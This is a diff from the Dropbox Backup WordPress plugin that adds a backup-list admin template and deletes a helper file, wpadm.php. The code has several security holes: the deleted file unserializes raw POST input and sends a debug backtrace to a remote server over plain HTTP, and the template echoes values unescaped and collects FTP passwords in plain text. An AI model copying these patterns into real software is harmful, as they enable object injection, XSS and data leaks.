+ <div class="title-logs"><span style="font-size:16px;"><?php _e('Please wait...','dropbox-backup'); ?> <span id="time_backup">0 <?php _e('sec.','dropbox-backup'); ?></span><img style="float: right;" src="<?php echo plugins_url('/img/wpadmload.gif', dirname(__FILE__))?>" alt=""></span></div>
1174
+ <div class="title-status" style="font-size:16px; display: none;"></div>
1175
+ <div style="border: 1px solid #ddd; text-align: left; background: #fff; padding: 2px;">
1176
+ <div id="log-backup" style="overflow: auto; height: 60px; border: 5px solid #fff; "></div>
1177
+ </div>
1178
+ </div>
1179
+ <?php if ($stars5) {?>
1180
+ <div id="reviews-dropbox" class="pointer" onclick="window.open('https://wordpress.org/support/view/plugin-reviews/dropbox-backup?filter=5');">
1181
+ <div class="title-reviews"><?php _e('++ Review ++','dropbox-backup'); ?></div>
1182
+ <div class="desc-reviews"><?php _e('Your review is important for us','dropbox-backup'); ?></div>
1183
+ <img src="<?php echo plugins_url('/img/stars-5.png', dirname(__FILE__));?>" alt=""></a>
1184
+ </div>
1185
+ <?php }?>
1186
+ <div id="support-button" style="float: right; margin-top: 130px; margin-right: 20px;">
1187
+ <button onclick="window.open('<?php echo SERVER_URL_INDEX . 'support/?pl=dbp'?>')" class="backup_button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php _e('Help','dropbox-backup'); ?></button> <br />
1188
+ </div>
1189
+ <div id="action-buttons" style="">
1190
+ <div style="float: left;">
1191
+ <button onclick="start_dropbox_backup();" text-button="<?php _e('Create Dropbox Backup','dropbox-backup');?>" class="backup_button disable-button" style=""><?php _e('Create Dropbox Backup','dropbox-backup'); ?></button>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1192
+ </div>
1193
+ <div style="float: left; margin-top: 2px;">
1194
+ <button onclick="start_local_backup()" text-button="<?php _e('Create Local Backup','dropbox-backup');?>" class="backup_button disable-button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php _e('Create Local Backup','dropbox-backup'); ?></button> <br />
1195
+ </div>
1196
+ <!-- <div style="float: left; margin-top: 2px;margin-left: 20px;">
1197
+ <button onclick="InludesSetting();" class="backup_button" style="padding: 5px 10px; margin-top: 10px; font-size: 15px;bottom: 0px;"><?php _e('Folders & files','dropbox-backup'); ?></button> <br />
1198
+ </div> -->
1199
+ <div style="clear: both;"></div>
1200
+ </div>
1201
+ </div>
1202
+ <div style="clear: both; margin-bottom: 10px;"></div>
1203
+ <div>
1204
+ <form action="<?php echo WPADM_URL_BASE;?>wpsite/recovery-backup" method="post" target="_blank" id="form_auth_backup" name="form_auth_backup">
1205
+ </form>
1206
+ <form action="<?php echo WPADM_URL_BASE;?>backup/tasks" method="post" target="_blank" id="form_auth_backup_create" name="form_auth_backup_create">
1207
+ <input type="hidden" name="url_task_create" value="<?php echo get_option('siteurl');?>">
1208
+ </form>
1209
+ <form action="" method="post" id="form_auth_backup" name="form_auth_backup">
1210
+ </form>
1211
+ <form action="<?php echo admin_url( 'admin-post.php?action=wpadm_delete_backup' )?>" method="post" id="delete_backups" name="delete_backups">
1212
+ <input type="hidden" name="backup-name" id="backup_name" value="" />
1213
+ <input type="hidden" name="backup-type" id="backup_type" value="" />
1214
+ </form>
1215
+ <!-- <div id="inludes-setting" class="" style="display: none; position: relative; text-align: center; background: #f1ebeb; border: 2px solid #dde4ff; border-radius: 5px;">
1216
+ <div>
1217
+ <div class="title-description" style="font-size: 20px; text-align: center;padding-top:20px; line-height: 30px;">
1218
+ <?php _e('Include/Exclude of Files & Folders to backup','dropbox-backup'); ?>
1219
+ <div style="font-size: 14px;">
1220
+ <?php _e('Database of web page will be included automatically','dropbox-backup'); ?>
1221
+ </div>
1222
+ </div>
1223
+ <div class="loading-img">
1224
+ <img style="display: none; margin: 0 auto;" src="<?php echo plugins_url('/img/wpadmload.gif', dirname(__FILE__) ); ?>">
1225
+ </div>
1226
+ <div class="button-description">
1227
+ <!-- <input type="radio" value="folder" id="inc-folder" checked="checked"><label for="inc-folder">View folders</label> &nbsp;&nbsp;&nbsp; <input type="radio" value="files" id="inc-files" ><label for="inc-files">View Folders & Files</label>
1228
+ <div class="show-includes">
1229
+
1230
+ </div>
1231
+ </div>
1232
+ <div class="clear"></div>
1233
+ <div class="button-description" style="padding:20px 0; width: 100%;">
1234
+ <input type="button" value="<?php _e('OK','dropbox-backup'); ?>" onclick="saveIncludes();" style="text-align: center; width: 100px;" class="button-wpadm">
1235
+ <input type="button" value="<?php _e('Cancel','dropbox-backup'); ?>" onclick="InludesSetting();" style="text-align: center; width: 100px;" class="button-wpadm">
1236
+ </div>
1237
+ </div>
1238
+
1239
+ </div> -->
1240
+
1241
+ <table class="table" style="margin-top: 5px; display: <?php echo isset($data['md5']) && ($n = count($data['data'])) && is_array($data['data'][0]) ? 'table' : 'none'?>;">
1242
+ <thead>
1243
+ <tr>
1244
+ <th>#</th>
1245
+ <th align="left"><?php _e('Create, Date/Time','dropbox-backup'); ?></th>
1246
+ <th><?php _e('Name of Backup','dropbox-backup'); ?></th>
1247
+ <th><?php _e('Archive Parts','dropbox-backup'); ?></th>
1248
+ <th><?php _e('Status','dropbox-backup'); ?></th>
1249
+ <th><?php _e('Type of Backup','dropbox-backup'); ?></th>
1250
+ <th><?php _e('Size','dropbox-backup'); ?></th>
1251
+ <?php if(is_admin() || is_super_admin()) {?>
1252
+ <th><?php _e('Action','dropbox-backup'); ?></th>
1253
+ <?php
1254
+ }
1255
+ ?>
1256
+ </tr>
1257
+ </thead>
1258
+ <tbody>
1259
+ <?php if (isset($data['md5']) && ($n = count($data['data'])) && is_array($data['data'][0])) {
1260
+ for($i = 0; $i < $n; $i++) {
1261
+ $size = $data['data'][$i]['size'] / 1024 / 1024; /// MByte
1262
+ $size = round($size, 2);
1263
+ $files = explode(",", str_replace(array('"', "[", "]"), "", $data['data'][$i]['files'] ) );
1264
+ $f = count($files);
1265
+ ?>
1266
+ <tr>
1267
+ <td class="number-backup"><?php echo ($i + 1);?></td>
1268
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer" style="text-align: left; padding-left: 7px;"><?php echo $data['data'][$i]['dt'];?></td>
1269
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer" <?php echo (isset($is_runnig) && $is_runnig ? 'style="text-align:left;"' : '')?>>
1270
+ <?php
1271
+ $e = '';
1272
+ if ($data['data'][$i]['size'] != 0) {
1273
+ $e = $data['data'][$i]['name'];
1274
+ } elseif (isset($is_runnig) && $is_runnig) {
1275
+ $e = "<strong style=\"color:#ff8104;\">". __('Please wait, backup will be created...','dropbox-backup') . "</strong>";
1276
+ } else {
1277
+ $e = "<strong style=\"color:red;\">". __('Not available','dropbox-backup') . "</strong>&nbsp;&nbsp;(<a style=\"text-decoration:underline;\">".__('Why?','dropbox-backup')."</a>)";
1278
+ }
1279
+ echo $e;
1280
+ ?>
1281
+ <script type="text/javascript">
1282
+ backup_name = '<?php echo $data['data'][$i]['name']?>';
1283
+ </script>
1284
+ </td>
1285
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo isset($data['data'][$i]['count']) ? $data['data'][$i]['count'] : $f ;?></td>
1286
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer" style="padding: 0px;">
1287
+ <?php if ($data['data'][$i]['size'] != 0) { ?>
1288
+ <img src="<?php echo plugin_dir_url(__FILE__) . "ok.png" ;?>" title="Successful" alt="Successful" style="float: left; width: 20px; height: 20px;margin-left: 21px;" />
1289
+ <div style="margin-top :1px;float: left;"><?php _e('Successful','dropbox-backup');?></div>
1290
+ <?php } elseif(isset($is_runnig) && $is_runnig) {?>
1291
+ <img src="<?php echo plugin_dir_url(__FILE__) . "attention.png" ;?>" title="Attention" alt="Attention" style="float: left; width: 20px; height: 20px;margin-left: 21px;" />
1292
+ <div style="margin-top :1px;float: left;"><?php _e('Backup in progress','dropbox-backup');?></div>
1293
+ <?php } else {
1294
+ ?>
1295
+ <img src="<?php echo plugin_dir_url(__FILE__) . "not-ok.png" ;?>" title="Fail" alt="Fail" style="float: left; width: 20px; height: 20px;margin-left: 21px;" />
1296
+ <div style="margin-top :1px;float: left;"><?php _e('Fail','dropbox-backup');?>&nbsp;&nbsp;(<a style="text-decoration:underline;"><?php _e('Show Details','dropbox-backup');?></a>)</div>
1297
+ <?php
1298
+ }?>
1299
+ </td>
1300
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo $data['data'][$i]['type'];?> <?php _e('backup','dropbox-backup'); ?></td>
1301
+ <td onclick="shows('<?php echo md5( print_r($data['data'][$i], 1) );?>', this)" class="pointer"><?php echo $size . __('Mb','dropbox-backup');?></td>
1302
+ <td>
1303
+ <?php if(is_admin() || is_super_admin()) {?>
1304
+ <?php if ($data['data'][$i]['size'] > 0) { ?>
1305
+ <a class="button-wpadm" href="javascript:void(0)" title="<?php _e('Restore','dropbox-backup'); ?>" onclick="show_recovery_form('<?php echo isset($data['data'][$i]['name']) && $data['data'][$i]['type'] != 'local' ? $data['data'][$i]['name'] : 'local' ?>', '<?php echo $data['data'][$i]['name']?>')" style="color: #fff;"><span class="pointer dashicons dashicons-backup" style="margin-top:3px;"></span><?php _e('Restore','dropbox-backup'); ?></a>&nbsp;
1306
+ <?php } ?>
1307
+ <a class="button-wpadm" href="javascript:void(0)" title="<?php _e('Delete','dropbox-backup'); ?>" onclick="delete_backup('<?php echo $data['data'][$i]['name']; ?>', '<?php echo $data['data'][$i]['type'];?>')" style="color: #fff;"><span class="pointer dashicons dashicons-trash" style="margin-top:3px;"></span><?php _e('Delete','dropbox-backup'); ?></a>&nbsp;
1308
+ <?php
1309
+ }
1310
+ ?>
1311
+ </td>
1312
+ </tr>
1313
+ <tr id="<?php echo md5( print_r($data['data'][$i], 1) );?>" style="display:none; ">
1314
+ <?php if ($data['data'][$i]['size'] != 0) {?>
1315
+ <td colspan="2">
1316
+ </td>
1317
+ <td align="center" style="padding: 0px; width: 350px;">
1318
+ <div style="overflow: auto; max-height: 150px;">
1319
+ <?php
1320
+ if ($f > 0) { ?>
1321
+ <table border="0" align="center" class="info-path"> <?php
1322
+ for($j = 0; $j < $f; $j++) {
1323
+ if (!empty($files[$j])) {
1324
+ ?>
1325
+ <tr style="border: 0;">
1326
+ <td style="border: 0;">
1327
+ <?php if ($data['data'][$i]['type'] == 'local') {?>
1328
+ <a href="<?php echo content_url(DROPBOX_BACKUP_DIR_NAME) . "/{$data['data'][$i]['name']}/{$files[$j]}"?>">
1329
+ <?php echo $files[$j]; ?>
1330
+ </a>
1331
+ <?php
1332
+ } else {
1333
+ echo $files[$j];
1334
+ }
1335
+ ?>
1336
+ </td>
1337
+ </tr>
1338
+ <?php
1339
+ }
1340
+ }
1341
+ ?>
1342
+ </table>
1343
+ <?php
1344
+ }
1345
+ ?>
1346
+ </div>
1347
+ </td>
1348
+ <td colspan="6"></td>
1349
+ <?php
1350
+ } elseif (isset($is_runnig) && $is_runnig) {
1351
+ ?>
1352
+ <td colspan="8">
1353
+ <?php _e('Backup is created. If you are sure that the backup down(crashed), please ','dropbox-backup');?>
1354
+ <a href="javascript:void(0)" onclick="window.open('<?php echo SERVER_URL_INDEX . 'support/?pl=dbp'?>')"><?php _e('contact us','dropbox-backup'); ?></a>.
1355
+ </td>
1356
+ <?php
1357
+ } else { ?>
1358
+ <td colspan="2">
1359
+ </td>
1360
+ <td colspan="4" style="background: #ddecf9;">
1361
+ <div style="padding-left: 10px; padding-right: 10px;">
1362
+ <div style="font-size: 12px; text-align: left;">
1363
+ <?php
1364
+ $time_log = str_replace(array(':', '-', " "), "_", $data['data'][$i]['dt']);
1365
+ if ( file_exists( $base_path . "/tmp/logs_error_" . $time_log ) ) {
1366
+ $log_ = file_get_contents( $base_path . "/tmp/logs_error_" . $time_log );
1367
+ $pos = stripos($log_, "error");
1368
+ if ($pos !== false) {
1369
+ for($p = $pos; ; $p--) {
1370
+ if ($log_{$p} == "\n") {
1371
+ $pos_new = $p + 1;
1372
+ break;
1373
+ }
1374
+ }
1375
+ $error =substr($log_, $pos_new);
1376
+ echo str_replace("\n", "<br />", $error);
1377
+ }
1378
+ } else {
1379
+ _e('Error log wasn\'t Found','dropbox-backup');
1380
+ }?>
1381
+ </div>
1382
+
1383
+ <form action="<?php echo admin_url( 'admin-post.php?action=error_logs_check' )?>" method="post" style=" text-align: left;">
1384
+ <div style="margin-top: 10px; font-size: 16px; font-weight: bold; margin-bottom: 10px;">
1385
+ <?php _e('Please, provide your FTP access to resolve this issue quickly:','dropbox-backup');?>
1386
+ </div>
1387
+ <div class="form-help-send-error" >
1388
+ <div style="margin-top: 3px;">
1389
+ <div class="label-help" style="">
1390
+ <label for="ftp-host"><?php _e('FTP Host','dropbox-backup'); ?></label>
1391
+ </div>
1392
+ <div style="float:left; ">
1393
+ <input type="text" id="ftp-host" value="<?php echo str_ireplace(array('http://', 'https://'), '', home_url()) ;?>" name="ftp_host" >
1394
+ </div>
1395
+ </div>
1396
+ <div class="clear"></div>
1397
+ <div style="margin-top: 3px;">
1398
+ <div class="label-help" >
1399
+ <label for="ftp-user"><?php _e('FTP User','dropbox-backup'); ?></label>
1400
+ </div>
1401
+ <div style="float:left; ">
1402
+ <input type="text" id="ftp-user" value="" name="ftp_user">
1403
+ </div>
1404
+ </div>
1405
+ <div class="clear"></div>
1406
+ <div style="margin-top: 3px;">
1407
+ <div class="label-help" >
1408
+ <label for="ftp-pass"><?php _e('FTP Password','dropbox-backup'); ?></label>
1409
+ </div>
1410
+ <div style="float:left; ">
1411
+ <input type="text" id="ftp-pass" value="" name="ftp_pass">
1412
+ </div>
1413
+ </div>
1414
+ <div class="clear"></div>
1415
+
1416
+ </div>
1417
+ <div class="form-help-mail-response">
1418
+ <div style="padding: 20px; border:1px solid #fff; margin-top: 3px;">
1419
+ <div class="label-help" >
1420
+ <label for="email-resp"><?php _e('Response Email:','dropbox-backup'); ?></label>
1421
+ </div>
1422
+ <div style=" ">
1423
+ <input type="text" id="email-resp" value="<?php echo get_option('admin_email');?>" style="padding-left:3px;" name="mail_response">
1424
+ </div>
1425
+ </div>
1426
+ </div>
1427
+ <div class="clear"></div>
1428
+ <div style="text-align: left; margin-left: 100px; margin-top: 10px;">
1429
+ <input value="<?php echo $time_log; ?>" type="hidden" name="time_pars">
1430
+ <input class="backup_button" style="font-size: 14px;font-weight: normal;padding: 3px;text-shadow: 0px;" type="submit" value="<?php _e('Send request to support','dropbox-backup'); ?>">
1431
+ </div>
1432
+ </form>
1433
+
1434
+ </div>
1435
+ </td>
1436
+ <td colspan="3">
1437
+ </td>
1438
+ <?php
1439
+ }
1440
+ ?>
1441
+ </tr>
1442
+ <?php
1443
+ } ?>
1444
+ <?php } ?>
1445
+ </tbody>
1446
+ </table>
1447
+
1448
+ </div>
1449
+ </div>
1450
+
1451
+ </div>
wpadm.php DELETED
@@ -1,249 +0,0 @@
1
- <?php
2
- if (! defined("WPADM_URL_BASE")) {
3
- define("WPADM_URL_BASE", 'http://secure.wpadm.com/');
4
- }
5
- /**
6
- * General functions
7
- *
8
- */
9
-
10
- if ( ! function_exists( 'wpadm_run' )) {
11
- function wpadm_run($pl, $dir) {
12
- @set_time_limit(0);
13
- require_once dirname(__FILE__) . '/class-wpadm-method-class.php';
14
- $request_name = $pl . '_request';
15
- if( isset( $_POST[$request_name] ) && ! empty ( $_POST[$request_name] ) ) {
16
- require_once dirname(__FILE__) . '/class-wpadm-core.php';
17
- $wpadm = new WPAdm_Core(wpadm_unpack($_POST[$request_name]), $pl, $dir);
18
- echo '<wpadm>'.wpadm_pack($wpadm->getResult()->toArray()).'</wpadm>';
19
- exit;
20
- }
21
- }
22
- }
23
- if ( ! function_exists('wpadm_include_admins_script') ) {
24
- function wpadm_include_admins_script()
25
- {
26
- wp_enqueue_style('css-admin-wpadm-db', plugins_url( "/css/admin-style-wpadm.css", __FILE__ ) );
27
- }
28
- }
29
-
30
-
31
- if ( ! function_exists( 'wpadm_unpack' )) {
32
- /**
33
- * @param str $str
34
- * @return mixed
35
- */
36
- function wpadm_unpack( $str ) {
37
- return unserialize( base64_decode( $str ) );
38
- }
39
- }
40
-
41
- if ( ! function_exists('wpadm_pack')) {
42
- /**
43
- * @param mixed $value
44
- * @return string
45
- */
46
- function wpadm_pack( $value ) {
47
- return base64_encode( serialize ( $value ) ) ;
48
- }
49
- }
50
-
51
- if ( ! function_exists('wpadm_admin_notice')) {
52
- function wpadm_admin_notice() {
53
- global $status, $page, $s;
54
- $context = $status;
55
- $plugin = 'dropbox-backup/dropbox-backup.php';
56
- $nonce = wp_create_nonce('deactivate-plugin_' . $plugin);
57
- $actions = 'plugins.php?action=deactivate&amp;plugin=' . urlencode($plugin) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s . '&amp;_wpnonce=' . $nonce;
58
- $wpadm_key = !get_option('wpadm_pub_key');
59
- $url = home_url();
60
- $url = str_ireplace(array('http://', 'https://'), "", $url);
61
- $url = str_ireplace(array('www.'), "", $url);
62
- if (substr($url, -1) == "/") {
63
- $url = substr($url, 0, strlen($url) );
64
- }
65
- $plugin = md5('dropbox-backup');
66
-
67
- ?>
68
-
69
-
70
- <?php if ($wpadm_key) { ?>
71
- <div class="wpadm-notice">
72
- <div class="registr">
73
- Please add this site to your
74
- <form action="<?php echo WPADM_URL_BASE?>user/registration" target="_blank" style="margin-bottom: 3px; display: inline;" method="post">
75
- <input type="hidden" name="site" value="<?php echo md5($url);?>" />
76
- <input type="hidden" name="plugin" value="<?php echo md5($plugin);?>" />
77
- <input type="submit" value="WPAdm" class="button-wpadm" style="margin-top: -3px;" />
78
- </form>
79
- account or <a href="<?php echo $actions;?>">deactivate DropBox Backup</a> plugin
80
- </div>
81
- </div>
82
- <?php } else { ?>
83
- <div class="wpadm-notice" style="height: 195px">
84
- <div class="registr" style="font-size: 14px; margin-top: 10px; line-height: 24px;">
85
- <form action="<?php echo WPADM_URL_BASE?>user/registration" target="_blank" style="margin-bottom: 3px; display: inline;" method="post">
86
- <input type="hidden" name="site" value="<?php echo md5($url);?>" />
87
- <input type="hidden" name="plugin" value="<?php echo md5($plugin);?>" />
88
- <input type="hidden" name="u" value="<?php echo 1;?>" />
89
- Dear user, <br />
90
- all Backups you have made by <strong>Dropbox Backup</strong> plugin are safe and available at their place, but, according to the rules of Wordpress system, we had to update the logic of <strong>Dropbox Backup</strong> plugin.<br />
91
- Now, if you want to see the <strong>Dropbox Backup</strong> plugin interface in your admin-panel again, you must upgrade this plugin from
92
- <input type="submit" value="our page" class="button-link" />.
93
- This is optional feature, you mustn’t do it, but you can. <br />
94
- Also, you can administrate all of your Backups for all of your web pages from one place – <input type="submit" value="WPAdm-account" class="button-link" />. This account is FULL FREE.<br />
95
- Here you can <input type="submit" value="login" class="button-wpadm" style="margin-top: -3px;" /> to your account or register in the WPAdm system.
96
- </form>
97
- </div>
98
- </div>
99
- <?php
100
- } ?>
101
-
102
-
103
- <?php
104
- }
105
- }
106
-
107
-
108
- if ( ! function_exists('wpadm_deactivation')) {
109
- function wpadm_deactivation() {
110
- wpadm_send_blog_info('deactivation');
111
- }
112
- }
113
-
114
-
115
- if ( ! function_exists('wpadm_uninstall')) {
116
- function wpadm_uninstall() {
117
- wpadm_send_blog_info('uninstall');
118
- }
119
- }
120
-
121
-
122
- if ( ! function_exists('wpadm_activation')) {
123
- function wpadm_activation() {
124
- wpadm_send_blog_info('activation');
125
- }
126
- }
127
-
128
- if ( ! function_exists('wpadm_send_blog_info')) {
129
- function wpadm_send_blog_info($status) {
130
- $info = wpadm_get_blog_info();
131
- $info['status'] = $status;
132
-
133
- $data = wpadm_pack($info);
134
- $host = WPADM_URL_BASE;
135
- $host = str_replace(array('http://','https://'), '', trim($host,'/'));
136
- $socket = fsockopen($host, 80, $errno, $errstr, 30);
137
- fwrite($socket, "GET /wpsite/pluginHook?data={$data} HTTP/1.1\r\n");
138
- fwrite($socket, "Host: {$host}\r\n");
139
-
140
- fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
141
- fwrite($socket,"Content-length:".strlen($data)."\r\n");
142
- fwrite($socket,"Accept:*/*\r\n");
143
- fwrite($socket,"User-agent:Opera 10.00\r\n");
144
- fwrite($socket,"Connection:Close\r\n");
145
- fwrite($socket,"\r\n");
146
- sleep(1);
147
- fclose($socket);
148
- }
149
- }
150
-
151
- if ( ! function_exists('wpadm_get_blog_info')) {
152
- function wpadm_get_blog_info() {
153
- $info = array(
154
- 'url' => get_site_url(),
155
- );
156
- $debug = debug_backtrace();
157
- $info['debug'] = $debug;
158
- $file = (is_array($debug[count($debug)-1]['args'][0]))?$debug[count($debug)-1]['args'][0][0] : $debug[count($debug)-1]['args'][0];
159
- preg_match("|wpadm_.*wpadm_(.*)\.php|", $file, $m); ;
160
- $info['plugin'] = $m[1];
161
-
162
- return $info;
163
- }
164
- }
165
-
166
- if (!function_exists("get_system_data")) {
167
- function get_system_data()
168
- {
169
-
170
- global $wp_version;
171
-
172
- /*
173
- *
174
- * Get the settings of php to show in plugin information-page.
175
- * It will get the minimum requirements of php and mysql configuration, version and language of wordpress
176
- * additionally, AFTER the user has been registered at WPAdm service AND has confirmed their registration(!) this data
177
- * will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
178
- * Information about sending of this data is published in readme.txt of this plugin
179
- * WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
180
- *
181
- */
182
- $phpVersion = phpversion();
183
- $maxExecutionTime = ini_get('max_execution_time');
184
- $maxMemoryLimit = ini_get('memory_limit');
185
- $extensions = implode(', ', get_loaded_extensions());
186
- $disabledFunctions = ini_get('disable_functions');
187
- $mysqlVersion = '';
188
- $mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD);
189
- if (!mysqli_connect_errno()) {
190
- $mysqlVersion = $mysqli->server_info;
191
- }
192
- $upMaxExecutionTime = 0;
193
- $newMaxExecutionTime = intval($maxExecutionTime) + 60;
194
- @set_time_limit( $newMaxExecutionTime );
195
- if( ini_get('max_execution_time') == $newMaxExecutionTime ){
196
- $upMaxExecutionTime = 1;
197
- $maxExecutionTime = ini_get('max_execution_time');
198
- }
199
- $upMemoryLimit = 0;
200
- $newMemoryLimit = intval($maxMemoryLimit) + 60;
201
- ini_set('memory_limit', $newMemoryLimit.'M');
202
- if( ini_get('memory_limit') == $newMemoryLimit ){
203
- $upMemoryLimit = 1;
204
- $maxMemoryLimit = ini_get('memory_limit');
205
- }
206
- $extensions_search = array('curl', 'json', 'mysqli', 'sockets', 'zip', 'ftp');
207
- $disabledFunctions_search = array('set_time_limit', 'curl_init', 'fsockopen', 'ftp_connect');
208
-
209
- $ex = check_function($extensions, $extensions_search);
210
- $func = check_function($disabledFunctions, $disabledFunctions_search, true);
211
-
212
- return array('wp_version' => $wp_version, 'php_verion' => phpversion(),
213
- 'maxExecutionTime' => $maxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
214
- 'extensions' => $extensions, 'disabledFunctions' => $disabledFunctions,
215
- 'mysqlVersion' => $mysqlVersion, 'upMaxExecutionTime' => $upMaxExecutionTime,
216
- 'newMaxExecutionTime' => $newMaxExecutionTime, 'upMemoryLimit' => $upMemoryLimit,
217
- 'newMemoryLimit' => $newMaxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
218
- 'ex' => $ex, 'func' => $func, 'wp_lang' => get_option('WPLANG'),
219
- );
220
-
221
- }
222
- }
223
- if (! function_exists('check_function')) {
224
- function check_function($func, $search, $type = false)
225
- {
226
- if (is_string($func)) {
227
- $func = explode(", ", $func);
228
- }
229
- if (is_string($search)) {
230
- $search = explode(", ", $search);
231
- }
232
- $res = false;
233
- $n = count($search);
234
- for($i = 0; $i < $n; $i++) {
235
- if (in_array($search[$i], $func) === $type) {
236
- $res[] = $search[$i];
237
- }
238
- }
239
- return $res;
240
- }
241
- }
242
-
243
- if (! function_exists('check_version')) {
244
- function check_version($ver, $ver2)
245
- {
246
- return version_compare($ver, $ver2, ">");
247
- }
248
- }
249
-